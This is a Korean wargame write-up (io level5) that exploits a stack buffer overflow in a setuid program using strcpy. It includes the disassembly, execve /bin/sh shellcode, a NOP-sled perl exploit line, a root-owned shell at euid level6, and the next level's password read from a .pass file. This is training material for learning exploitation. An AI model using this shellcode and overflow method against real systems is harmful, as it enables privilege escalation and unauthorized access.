badcob 2010. 1. 19. 05:47

level5 는 소스가 공개되어 있네요. 소스부터 살펴봤습니다.

level5@io:~$ cd /levels
level5@io:/levels$ cat ./level5.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

        char buf[128];

        if(argc < 2) return 1;

        strcpy(buf, argv[1]);

        printf("%s\n", buf);

        return 0;
}
level5@io:/levels$ ./level5
level5@io:/levels$ ./level5 AAAAAAAA
AAAAAAAA




BOF 군요. 바이너리도 한번 살펴봤습니다.

Dump of assembler code for function main:
0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0xa8,%esp                   스택을 168 만큼 확장
0x080483bd <main+9>:    and    $0xfffffff0,%esp
0x080483c0 <main+12>:   mov    $0x0,%eax
0x080483c5 <main+17>:   sub    %eax,%esp
0x080483c7 <main+19>:   cmpl   $0x1,0x8(%ebp)               agrc는 ebp+8에 위치
0x080483cb <main+23>:   jg     0x80483d9 <main+37>
0x080483cd <main+25>:   movl   $0x1,0xffffff74(%ebp)
0x080483d7 <main+35>:   jmp    0x8048413 <main+95>
0x080483d9 <main+37>:   mov    0xc(%ebp),%eax           argv는 ebp+12에 위치  
0x080483dc <main+40>:   add    $0x4,%eax
0x080483df <main+43>:   mov    (%eax),%eax
0x080483e1 <main+45>:   mov    %eax,0x4(%esp)
0x080483e5 <main+49>:   lea    0xffffff78(%ebp),%eax        ebp-136의 주소를 eax로
0x080483eb <main+55>:   mov    %eax,(%esp)
0x080483ee <main+58>:   call   0x80482d4 <strcpy@plt>
0x080483f3 <main+63>:   lea    0xffffff78(%ebp),%eax
0x080483f9 <main+69>:   mov    %eax,0x4(%esp)
0x080483fd <main+73>:   movl   $0x8048524,(%esp)
0x08048404 <main+80>:   call   0x80482b4 <printf@plt>
0x08048409 <main+85>:   movl   $0x0,0xffffff74(%ebp)
0x08048413 <main+95>:   mov    0xffffff74(%ebp),%eax
0x08048419 <main+101>:  leave
0x0804841a <main+102>:  ret

argv[1]의 값이 ebp-136의 주소로 들어가는걸로 봐서 return address 는 140byte를 채우고 난 다음부터 일거라 예상했습니다.

쉘코드는 wowhacker 달고나님이 쓰신 "buffer_overflow_foundation_pub"를 참고해서 만들어봤습니다.


"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3" 

만들어진 쉘코드를 아래 코드로 테스트 했습니다만 작동하지 않았습니다.

char shell[] ="\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3";

void main()
{
        int *ret;
        ret =(int *)&ret + 2;
        *ret = shell;
}




혹시나 하는 마음에 만들어진 바이너리를 디버깅해보니..

Dump of assembler code for function main:
0x08048324 <main+0>:    lea    0x4(%esp),%ecx
0x08048328 <main+4>:    and    $0xfffffff0,%esp
0x0804832b <main+7>:    pushl  0xfffffffc(%ecx)
0x0804832e <main+10>:   push   %ebp
0x0804832f <main+11>:   mov    %esp,%ebp
0x08048331 <main+13>:   push   %ecx
0x08048332 <main+14>:   sub    $0x10,%esp
0x08048335 <main+17>:   lea    0xfffffff8(%ebp),%eax
0x08048338 <main+20>:   add    $0x1c,%eax
0x0804833b <main+23>:   mov    %eax,0xfffffff8(%ebp)
0x0804833e <main+26>:   mov    0xfffffff8(%ebp),%edx
0x08048341 <main+29>:   mov    $0x8049580,%eax
0x08048346 <main+34>:   mov    %eax,(%edx)
0x08048348 <main+36>:   add    $0x10,%esp
0x0804834b <main+39>:   pop    %ecx
0x0804834c <main+40>:   pop    %ebp
0x0804834d <main+41>:   lea    0xfffffffc(%ecx),%esp
0x08048350 <main+44>:   ret

스택을 할당하는데 차이가 있어서 return address를 찾지 못하는 것이 이유 같네요.
따라서 리턴 어드레스를 쉘코드로 덮어 씌우고자 "+2" 값을 증가시켰습니다.

(return address가 ebp+4 의 위치에 있지 않았습니다. 값을 1씩 증가시키면서 확인해보았습니다.)

ret =(int *)&ret + 7;

다 준비됐으니 이제 넘치게 해보겠습니다.

처음엔 [Shellcode] [AAAA.....] [Shellcode address]  이렇게 해보고자 했지만 되질 않더군요.

level5@io:/levels$ ./level5 `perl -e 'print "\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3","A"x95,"\x30\xde\xff\xbf"'`
°
 ™Rh//shh/bin‰ãRS‰áÍ€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0Þÿ¿
Segmentation fault



어떻게 할까 고민하다가 구글링해보니 \x90을 이용한 방법이 있었습니다


[NOPNOPNOP...] [Shell code] [NOP address]  

return address를 NOP 중 어딘가로 지정해주면 흘러가다가 마지막엔 Shellcode가 실행.


./level5 `perl -e 'print "\x90"x95,"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3","\x48\xde\xff\xbf"'`

level5@io:/levels$ ./level5 `perl -e 'print "\x90"x95,"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8L$ƒäðÿqüU‰åQ1ÀPh//shh/bin‰ãPS‰á‰Â°x5d\aüÃHÞÿ¿\xfc\xc3","\x48\xde\xff\xbf"'`
sh-3.1$ id                        Í€Y]
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5)
sh-3.1$ cat /home/level6/.pass
hur9ivke   > mobjy2we


  흠.. exploit 를 NOP + shellcode + NOP`s address 형태로 입력했을때 희안한 증상이
생기더군요.
예를 들어 NOP의 시작 어드레스가 ebp-0x88 에 위치해 있을때 이 주소가 0xbfffdc20
 이라고 하면
NOP`s address를 0xbfffdc20 으로 입력했을 때 세그 폴트가 발생하길래 확인해봤더
니 입력한대로
값이 들어가지 않고 이상한 값이 들어가 있었습니다.

혹시나 해서 0xbfffdc21 로 입력했더니 잘 입력이
되긴 했지만 역시 세그 폴트가 발생했습니다.
이것도 역시 입력한 쉘코드의 내용이 바뀌어 있었습니다.
결국 argv의 주소를 던져줬더니 쉘이
떨어지긴 했습니다만 이런 현상이 생기는 이유가 궁금하네요.